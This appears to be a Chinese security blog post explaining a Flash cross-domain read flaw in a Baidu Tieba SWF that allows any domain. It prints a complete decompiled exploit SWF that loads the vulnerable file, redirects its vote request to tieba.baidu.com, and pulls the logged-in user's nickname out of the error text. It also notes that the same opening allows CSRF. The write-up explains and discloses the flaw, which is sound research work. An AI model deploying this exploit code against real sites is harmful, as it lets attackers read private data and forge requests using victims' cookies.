flash被跨域调用导致的安全风险

flash也是可以和js一样动态的请求和加载，类似这样
a.com上的a.swf

var myLoader:Loader = new Loader();                     
var url:URLRequest = new URLRequest("http://b.com/b.swf"); 
myLoader.load(url);
addChild(myLoader);  

但是默认情况下是swf是不能被跨域引用的，所以这个调用不一定成功，只有在b.swf设置了System.security.allowDomain("a.com")或者System.security.allowDomain("*")的情况下才可以。

这样的话，b.swf中的有一些方法就可以在a.swf中调用了，而且发送的请求会显示来自b.swf，造成了跨域请求，大部分的浏览器是携带cookies的（貌似safari不发送）。

在 http://weibo.com/2313289447/CmZQrqa4R?type=comment 里面有一个跨域获取百度贴吧用户名的demo，就是利用了百度贴吧里面一个swf的这个漏洞。swf在这也备份了一个。

首先看一下exp的反编译后的代码。

package {
    import flash.utils.*;
    import flash.display.*;
    import flash.system.*;
    import flash.net.*;
    import flash.events.*;
    import flash.external.*;

    public class exp extends Sprite {

        private static const PATH:String = "baidu.vote.DataManager";
        private static const URL:String = "http://tieba.baidu.com/tb/static-itieba3/swf/itiebaVote.swf";

        private var clsExp;
        private var clsRes;
        private var nick:String;

        public function exp(){
            var ld:* = null;
            var tid:* = 0;
            super();
            Security.allowDomain("*");
            ld = new Loader();
            ld.load(new URLRequest(URL));
            addChild(ld);
            tid = setInterval(function ():void{
                try {
                    clsExp = ld.contentLoaderInfo.applicationDomain.getDefinition(PATH);
                    clsRes = ld.contentLoaderInfo.applicationDomain.getDefinition("baidu.vote.enumerate.Constants");
                } catch(e:Error) {
                    return;
                };
                clearInterval(tid);
                ready();
            }, 100);
        }
        private function load(url:String):void{
            var obj:* = this.clsExp.getInstance();
            obj.requestPageData({
                r:1,
                voteId:1,
                tn:1
            });
            this.clsRes.URL_VOTE_DETAIL = (url + "#");
            obj.requestVoteDetail();
        }
        private function ready():void{
            loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function (e:UncaughtErrorEvent):void{
                complete(e.error.text);
            });
            this.load("http://tieba.baidu.com/");
        }
        private function complete(data:String):void{
            var arr:Array;
            arr = data.match(/"name": "([^"]+)/);
            if (arr){
                this.nick = arr[1];
            };
            ExternalInterface.call("bdcallback", this.nick);
        }

    }
}//package

加载了http://tieba.baidu.com/tb/static-itieba3/swf/itiebaVote.swf这个swf，然后调用了里面的requestVoteDetail方法，我们再反编译一下百度贴吧的swf，看看这个方法是干什么的。

private function initialize():void{
            System.useCodePage = true;
            Security.allowDomain("*");
            stage.scaleMode = "noScale";
            ......

请求网络的代码

public function requestVoteDetail():void{
            var _local1:String = Constants.URL_VOTE_DETAIL;
            _local1 = (_local1 + pageData.voteId);
            _local1 = (_local1 + ("?alt=json&stamp=" + Math.random()));
            var _local2:URLRequest = new URLRequest(_local1);
            var _local3:URLLoader = new URLLoader();
            _local3.addEventListener(Event.COMPLETE, onVoteDetailComplete);
            _local3.addEventListener(IOErrorEvent.IO_ERROR, onVoteDetailError);
            _local3.load(_local2);
        }

处理访问数据的方法

private function onVoteDetailComplete(_arg1:Event):void{
            var _local2:URLLoader = (_arg1.currentTarget as URLLoader);
            _local2.removeEventListener(Event.COMPLETE, onVoteDetailComplete);
            _local2.removeEventListener(IOErrorEvent.IO_ERROR, onVoteDetailError);
            var _local3:String = (_local2.data as String);
            _voteDetail = VoteDetail.fromJsonString(_local3);
            if (((_voteDetail) && ((_voteDetail.errno == 0)))){
                dispatchEvent(new DataManagerEvent(DataManagerEvent.VOTE_DETAIL_OK));
            } else {
                dispatchEvent(new DataManagerEvent(DataManagerEvent.VOTE_DETAIL_ERROR));
            };
        }

然后是json解码

public static function fromJsonString(_arg1:String, _arg2:Boolean=false):VoteDetail{
            var _local3:Object = JSON.decode(_arg1);
            return (fromObject(_local3, _arg2));
        }

但是这个地方请求获取的是html，不是json，所以处理就会抛出异常，自己catch住就好了，异常的信息里面是包含html的。

这样就造成了一个跨域读取的漏洞，不仅仅是获取用户名，更可以csrf啊。

ps: 在wooyun上搜flash漏洞的时候，我才发现这个漏洞其实已经被报告给百度了，竟然还没修复，23333333

参考

http://www.cnblogs.com/index-html/p/swf-reflect-priv.html

http://wooyun.org/bugs/wooyun-2010-0110065

其他的flash安全相关的文章 http://drops.wooyun.org/tips/2924

FROM :strcpy.me | Author:strcpy